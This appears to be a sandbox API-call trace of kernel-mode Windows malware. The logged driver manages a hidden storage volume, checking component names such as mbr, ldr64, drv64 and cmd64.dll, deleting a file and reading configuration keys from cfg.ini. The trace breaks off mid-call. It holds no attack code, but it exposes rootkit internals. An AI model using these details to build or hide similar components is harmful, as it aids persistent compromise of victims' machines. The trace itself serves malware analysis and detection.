ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.475] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.475] IdePortDispatch () returned 0x103 [0120.476] KeWaitForMutexObject () returned 0x0 [0120.476] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.476] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.476] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.476] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.476] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.476] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.476] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.476] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.476] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.476] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.476] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.476] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.476] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.476] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.476] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.476] KeLeaveCriticalRegion () [0120.476] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.476] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.476] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.476] KeEnterCriticalRegion () [0120.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.476] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.476] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.476] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.476] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.476] IdePortDispatch () returned 0x103 [0120.476] KeWaitForMutexObject () returned 0x0 [0120.476] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.476] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.476] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.476] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.476] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.477] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.477] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.477] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.477] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.477] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.477] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.477] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.477] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.477] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.477] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.477] KeLeaveCriticalRegion () [0120.477] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.477] ReleaseMutex (hMutex=0x100) returned 1 [0120.477] Sleep (dwMilliseconds=0x2bf20) [0120.483] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b01b2f0, dwHighDateTime=0x1d24fa4)) [0120.483] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.483] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.483] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.483] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.483] KeEnterCriticalRegion () [0120.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.483] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.483] IdePortDispatch () returned 0x103 [0120.483] KeWaitForMutexObject () returned 0x0 [0120.485] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.485] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.485] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.485] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.485] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.485] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba9c0 [0120.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.485] KeLeaveCriticalRegion () [0120.485] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.485] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.485] KeEnterCriticalRegion () [0120.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.485] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.485] KeLeaveCriticalRegion () [0120.485] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.485] KeEnterCriticalRegion () [0120.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.485] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.485] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.485] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.485] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.485] IdePortDispatch () returned 0x103 [0120.485] KeWaitForMutexObject () returned 0x0 [0120.485] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.485] KeLeaveCriticalRegion () [0120.486] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.486] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.486] KeEnterCriticalRegion () [0120.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.486] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003476000 [0120.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.486] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.486] IdePortDispatch () returned 0x103 [0120.486] KeWaitForMutexObject () returned 0x0 [0120.486] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.486] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.486] IdePortDispatch () returned 0x103 [0120.486] KeWaitForMutexObject () returned 0x0 [0120.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.486] KeLeaveCriticalRegion () [0120.486] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.487] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.487] KeEnterCriticalRegion () [0120.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.487] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.487] KeLeaveCriticalRegion () [0120.487] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.487] KeEnterCriticalRegion () [0120.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.487] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.487] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbcc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.487] KeLeaveCriticalRegion () [0120.487] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.487] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.487] KeEnterCriticalRegion () [0120.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.487] ExFreePoolWithTag (P=0xfffffa8003bba9c0, Tag=0x0) [0120.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.487] KeLeaveCriticalRegion () [0120.487] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.487] ReleaseMutex (hMutex=0xf0) returned 1 [0120.487] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.487] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.487] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.488] KeEnterCriticalRegion () [0120.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.488] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.488] IdePortDispatch () returned 0x103 [0120.488] KeWaitForMutexObject () returned 0x0 [0120.488] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.488] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.488] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.488] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.488] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.488] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba910 [0120.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.488] KeLeaveCriticalRegion () [0120.488] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.488] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.488] KeEnterCriticalRegion () [0120.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.488] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.488] KeLeaveCriticalRegion () [0120.488] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.488] KeEnterCriticalRegion () [0120.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.488] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.488] IdePortDispatch () returned 0x103 [0120.488] KeWaitForMutexObject () returned 0x0 [0120.489] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.489] KeLeaveCriticalRegion () [0120.489] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.489] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.489] KeEnterCriticalRegion () [0120.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.489] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003477000 [0120.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.489] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.489] IdePortDispatch () returned 0x103 [0120.489] KeWaitForMutexObject () returned 0x0 [0120.489] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.489] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.489] IdePortDispatch () returned 0x103 [0120.489] KeWaitForMutexObject () returned 0x0 [0120.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.489] KeLeaveCriticalRegion () [0120.489] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.490] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.490] KeEnterCriticalRegion () [0120.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.490] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.490] KeLeaveCriticalRegion () [0120.490] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.490] KeEnterCriticalRegion () [0120.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.490] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.490] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.490] KeLeaveCriticalRegion () [0120.490] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.490] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.490] KeEnterCriticalRegion () [0120.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.490] ExFreePoolWithTag (P=0xfffffa8003bba910, Tag=0x0) [0120.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.490] KeLeaveCriticalRegion () [0120.490] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.490] ReleaseMutex (hMutex=0xf0) returned 1 [0120.490] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.490] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.490] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.490] KeEnterCriticalRegion () [0120.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.490] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.490] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.490] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.490] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.490] IdePortDispatch () returned 0x103 [0120.491] KeWaitForMutexObject () returned 0x0 [0120.491] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.491] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.491] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.491] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.491] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.491] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc440 [0120.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.491] KeLeaveCriticalRegion () [0120.491] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.491] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.491] KeEnterCriticalRegion () [0120.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.491] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.491] KeLeaveCriticalRegion () [0120.491] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.491] KeEnterCriticalRegion () [0120.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.491] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.491] IdePortDispatch () returned 0x103 [0120.491] KeWaitForMutexObject () returned 0x0 [0120.491] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.491] KeLeaveCriticalRegion () [0120.491] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.491] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.491] KeEnterCriticalRegion () [0120.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.492] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003478000 [0120.492] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.492] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.492] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.492] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.492] IdePortDispatch () returned 0x103 [0120.492] KeWaitForMutexObject () returned 0x0 [0120.492] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.492] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.492] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.492] MmProbeAndLockPages (in: 